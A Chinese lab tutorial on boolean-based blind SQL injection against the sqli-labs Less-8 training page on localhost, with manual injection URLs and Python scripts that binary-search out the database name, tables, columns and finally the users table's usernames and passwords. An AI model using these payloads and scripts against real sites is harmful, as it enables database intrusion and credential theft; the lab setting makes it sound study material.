Sqli-labs-master靶场--布尔盲注

目录

1、布尔盲注

2、布尔盲注的流程(以靶场less-8为例)

2.1输入id尝试是否存在注入点

2.1.1通过以上尝试,联想到可能是布尔盲注

2.2猜测数据库长度

2.3获取数据库名

2.3.1python脚本获取

代码:

获取结果为:

2.4获取表名

[2.4.1count() 函数获取表名长度](#2.4.1count() 函数获取表名长度)

2.4.2获取表名

代码:

结果:

2.5获取字段名

代码:

结果:

获取数据:


1、布尔盲注

布尔盲注就是在SQL注入过程中,SQL语句执行后,查询到的数据不能回显到前端页面,布尔盲注通常是由于开发者将报错信息屏蔽而导致的,但是网页中真和假有着不同的回显,比如为真时返回access,为假时返回false;或者为真时返回正常页面,为假时跳转到错误页面等。不需要返回结果,仅判断语句是否正常执行。

2、布尔盲注的流程(以靶场less-8为例)

2.1输入id尝试是否存在注入点

输入?id=1后,显示为下图

输入?id=1' 后,显示与上方不同,存在注入点

判断一下字段数:?id=1' order by 3 --+,显示You are in...

尝试显示报错位:?id=1' union select 1,2,3 --+,仍然为You are in...

2.1.1通过以上尝试,联想到可能是布尔盲注

2.2猜测数据库长度

确定数据库长度为8。

2.3获取数据库名

通过截取字符串的方式。函数substr(string, start, length) 截取字符串,这个函数用来截取一个字符串从'start'位,可以是第1位、第2位、第3位,以此类推。每次截取'length'个字符。然后使用ascii()函数。其作用是将字符转换成对应的ascii值。

python 复制代码
?id=1' and ascii(substr(database(),1,1))=97--+

如上图所示,如果数据库名的第一个字符的ascii码值等于97,则页面显示正确的页面,如果数据库名的第一个字符的ascii码值不等于97,则页面显示错误的页面,可以通过这种方式获取到数据库名,但效率过于低下,所以我们使用脚本来获取数据库名。

2.3.1python脚本获取

使用下列代码就可以获取到数据库名

代码:
python 复制代码
import time
 
import requests
 
url = 'http://127.0.0.1/sqli-labs-master/less-8/index.php'
 
def inject_database(url):
    name = ''
    for i in range(1, 20):
        for j in range(32, 129):
            payload = "1' and ascii(substr(database(), %d, 1)) = %d-- " % (i, j)
            res = {"id": payload}
            r = requests.get(url, params=res)
            if "You are in..........." in r.text:
                name = name + chr(j)
                print(name)
                break
            else:
                continue
 
inject_database(url)
获取结果为:

2.4获取表名

2.4.1count() 函数获取表名长度

python 复制代码
?id=1' and (ascii(substr((select table_name from information_schema.tables where table_schema=database()limit 0,1),1,1)))=101 --+

由上图可见,看出security下有四张表

2.4.2获取表名

利用下面的python脚本就可以获取到所有的表名

代码:
python 复制代码
import requests
 
url = 'http://127.0.0.1/sqli-labs-master/less-8/index.php'
 
 
def boolean_blind_inject(url):
    name = ''
    for i in range(1, 50):
        low = 32
        high = 128
        while low < high:
            mid = (low + high) // 2
            # 构造布尔盲注的payload
            payload ="1' and ascii(substr((select group_concat(table_name) from information_schema.tables where table_schema='security'),%d,1))> %d-- " %(i, mid)
            params = {'id': payload} 
 
            # 发送 GET 请求
            r = requests.get(url, params=params)
 
         
            if 'You are in...........' in r.text:
                low = mid + 1
            else:
                high = mid
            mid = (low + high) // 2
 
        if mid == 32:  
            break
        name += chr(mid)
        print(name)

boolean_blind_inject(url)
结果:

2.5获取字段名

利用表名可以获取到用户的账户和密码在users表中,使用上面python脚本来获取字段名,需要将刚才的python脚本中payload的内容换一下。

代码:
python 复制代码
import requests
 
url = 'http://127.0.0.1/sqli-labs-master/less-8/index.php'
 
 
def boolean_blind_inject(url):
    name = ''
    for i in range(1, 50):
        low = 32
        high = 128
        while low < high:
            mid = (low + high) // 2
            # 构造布尔盲注的payload
            payload ="1' and ascii(substr((select group_concat(column_name) from information_schema.columns where table_schema='security' and table_name='users'),%d,1))> %d-- " %(i, mid)
            params = {'id': payload}  # 使用 params 而不是 data
 
            # 发送 GET 请求
            r = requests.get(url, params=params)
 
            # 根据页面内容或状态码判断是否注入成功
            if 'You are in...........' in r.text:
                low = mid + 1
            else:
                high = mid
            mid = (low + high) // 2
 
        if mid == 32:  # 如果 mid 为 32,则表示已经到达字符串的末尾
            break
        name += chr(mid)
        print(name)
 
# 调用函数
boolean_blind_inject(url)
结果:

获取数据:

python 复制代码
import requests
 
url = 'http://127.0.0.1/sqli-labs-master/less-8/index.php'
 
 
def boolean_blind_inject(url):
    name = ''
    for i in range(1, 200):
        low = 32
        high = 128
        while low < high:
            mid = (low + high) // 2
            # 构造布尔盲注的payload
            payload ="1' and ascii(substr((select group_concat(username,id,password) from users),%d,1))> %d-- " %(i, mid)
            params = {'id': payload}  # 使用 params 而不是 data
 
            # 发送 GET 请求
            r = requests.get(url, params=params)
 
            # 根据页面内容或状态码判断是否注入成功
            if 'You are in...........' in r.text:
                low = mid + 1
            else:
                high = mid
            mid = (low + high) // 2
 
        if mid == 32:  # 如果 mid 为 32,则表示已经到达字符串的末尾
            break
        name += chr(mid)
        print(name)
 
# 调用函数
boolean_blind_inject(url)

ok,完成。

相关推荐
斯特凡今天也很帅几秒前
clickhouse常用语句汇总——持续更新中
数据库·sql·clickhouse
超级小忍1 小时前
如何配置 MySQL 允许远程连接
数据库·mysql·adb
吹牛不交税2 小时前
sqlsugar WhereIF条件的大于等于和等于查出来的坑
数据库·mysql
hshpy2 小时前
setting up Activiti BPMN Workflow Engine with Spring Boot
数据库·spring boot·后端
文牧之3 小时前
Oracle 审计参数:AUDIT_TRAIL 和 AUDIT_SYS_OPERATIONS
运维·数据库·oracle
篱笆院的狗3 小时前
如何使用 Redis 快速实现布隆过滤器?
数据库·redis·缓存
洛神灬殇4 小时前
【LLM大模型技术专题】「入门到精通系列教程」基于ai-openai-spring-boot-starter集成开发实战指南
网络·数据库·微服务·云原生·架构
小鸡脚来咯4 小时前
redis分片集群架构
数据库·redis·架构
christine-rr5 小时前
征文投稿:如何写一份实用的技术文档?——以软件配置为例
运维·前端·网络·数据库·软件构建
海尔辛5 小时前
SQL 基础入门
数据库·sql